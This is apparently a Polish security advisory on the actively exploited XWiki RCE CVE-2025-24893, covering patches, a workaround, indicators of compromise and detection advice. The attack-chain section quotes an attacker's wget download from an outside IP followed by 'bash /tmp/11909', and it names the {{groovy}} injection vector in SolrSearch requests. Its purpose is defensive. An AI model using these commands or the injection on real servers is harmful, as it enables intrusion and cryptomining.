Wprowadzenie do problemu / definicja luki
Badacze zaobserwowali aktywne wykorzystanie krytycznej luki CVE-2025-24893 w platformie XWiki (CVSS 9.8). Błąd pozwala niezalogowanemu napastnikowi na zdalne wykonanie kodu (RCE) poprzez podatny makro-komponent SolrSearch, co otwiera drogę m.in. do instalacji koparki kryptowalut na serwerze. O najnowszych, realnych atakach informuje VulnCheck; zjawisko opisał też SecurityWeek.
W skrócie
- Co: RCE bez uwierzytelnienia w XWiki przez SolrSearch (Groovy template/code injection).
- Wersje podatne: 5.3-milestone-2 → 15.10.10 oraz 16.0.0-rc-1 → 16.4.0 (naprawione w 15.10.11, 16.4.1 i 16.5.0-rc1).
- Wektor: manipulacja parametrem text w żądaniu do Main/SolrSearch?media=rss&text=... skutkująca wykonaniem kodu Groovy.
- W terenie: kampania o niskim „poziomie zaawansowania” z instalacją minera (tcrond) i łączeniem do puli c3pool.org.
Kontekst / historia / powiązania
Luka została zgłoszona w maju 2024 r. do programu Trend Micro ZDI, a publicznie udokumentowana 19 grudnia 2024 r. Wpis NVD i porady producenta (GHSA) pojawiły się na początku 2025 r. Mimo iż exploity PoC krążyły od miesięcy, dopiero pod koniec października 2025 r. VulnCheck potwierdził pełny łańcuch eksploatacji zakończony wdrożeniem koparki.
Analiza techniczna / szczegóły luki
Sednem problemu jest niewłaściwa walidacja parametru text w makrze SolrSearch. Napastnik wstrzykuje blok {{groovy}}...{{/groovy}} (renderowany w kontekście wiki) i uzyskuje zdalne wykonanie poleceń w kontekście procesu serwera WWW. To klasyczny przypadek CWE-94/95 (code / eval injection). XWiki i NVD udostępniły minimalny „proof” do weryfikacji podatności przez wywołanie RSS z osadzonym Groovy.
Obserwowany łańcuch ataku (VulnCheck):
- Pass 1: żądanie do SolrSearch zapisuje downloader do /tmp/11909 (np. wget http://193.32.208.24:8080/.../x640 -O /tmp/11909).
- Pass 2 (~20 min później): drugie żądanie wykonuje bash /tmp/11909, który pobiera dwa skrypty (x521, x522).
- x521 instaluje binarkę minera tcrond; x522 uruchamia minera z konfiguracją puli c3pool.org, dodatkowo zabijając konkurencyjne procesy (np. xmrig, kinsing).
- Źródła ruchu: m.in. 123.25.249.88 i 193.32.208.24. Udostępnianie plików przez serwis pokrewny transfer.sh na porcie 8080.
Praktyczne konsekwencje / ryzyko
- Przejęcie hosta: pełne RCE bez uwierzytelnienia skutkuje możliwością instalacji malware, eksfiltracji danych i utrwalania dostępu.
- Kopanie kryptowalut: obciążenie CPU, degradacja wydajności serwisu, potencjalne koszty energii/chmury; kampanie potrafią też usuwać konkurencyjne koparki i czyścić ślady.
- Ryzyko wtórne: pivot do innych systemów, wstrzyknięcia web-shelli, zmiany konfiguracji Solr/Tomcat/OS.
Rekomendacje operacyjne / co zrobić teraz
- Pilna aktualizacja XWiki do wersji: 15.10.11, 16.4.1 lub 16.5.0-rc1 (łatka producenta).
- Wdrożenie obejścia (jeśli update niemożliwy): modyfikacja Main.SolrSearchMacros (ustawienie application/xml i bezpośrednia odpowiedź z rawResponse), dokładnie jak w poradzie GHSA/NVD.
- Hunting / IR (według IoC VulnCheck):
- Szukaj żądań do .../bin/get/Main/SolrSearch?media=rss&text= z blokami {{groovy}}.
- Artefakty: /tmp/11909, skrypty x521, x522, binarka tcrond, połączenia do auto.c3pool.org:80.
- IP: 123.25.249.88, 193.32.208.24.
- Komendy wget/curl z nietypowych hostów :8080.
- WAF / reguły detekcji: blokowanie/alertowanie na wzorce {{groovy}}, {{async}} w parametrach zapytań do SolrSearch; dostosuj sygnatury IDS/IPS (np. TippingPoint, Suricata) i reguły w narzędziach typu CrowdSec.
- Hardening XWiki/Solr/Tomcat: uruchamiaj usługę z minimalnymi uprawnieniami, izoluj w kontenerze, ogranicz dostęp sieciowy do panelu admina, włącz logowanie zapytań i HSTS.
- Po incydencie: rotacja kluczy/haseł, weryfikacja crontab/systemd (np. wpisy związane z tcrond), skanowanie integralności, reinstalacja hosta przy potwierdzonym RCE.
Różnice / porównania z innymi przypadkami
W przeciwieństwie do niedawnych kampanii RCE w popularnych CMS/ERP, tutaj eksploatacja opiera się na template/code injection w Groovy w ramach makr XWiki (a nie klasyczny deserializacja czy OGNL), co upraszcza łańcuch ataku: pojedynczy parametr HTTP → bezpośrednie execute(). ZDI i GHSA kategoryzują to wprost jako command/code injection w komponencie SolrSearchMacros.
Podsumowanie / najważniejsze wnioski
- CVE-2025-24893 to łatwo eksploatowalny RCE w XWiki, w tej chwili wykorzystywany w praktycznych atakach do kopania kryptowalut.
- Patch jest dostępny i powinien być wdrożony natychmiast; obejście istnieje, ale traktuj je jako czasowe.
- Warto przeprowadzić proaktywne threat hunting z użyciem udostępnionych IoC i dopasować reguły ochrony pod charakterystyczne wzorce {{groovy}} w zapytaniach.
Źródła / bibliografia
- SecurityWeek — pierwsze doniesienia o aktywnej eksploatacji i kopaniu kryptowalut. (SecurityWeek)
- VulnCheck — szczegółowa analiza łańcucha ataku, IoC (adresy IP, pliki, pula c3pool). (VulnCheck)
- ZDI Advisory (Trend Micro) — opis podatności, wektor i naprawione wersje. (zerodayinitiative.com)
- NVD — opis techniczny, wektor CVSS, repro krok-po-kroku i wskazówki dot. obejścia. (NVD)
- GitHub Security Advisory (XWiki) — oficjalna porada producenta i zakres wersji dotkniętych. (GitHub)
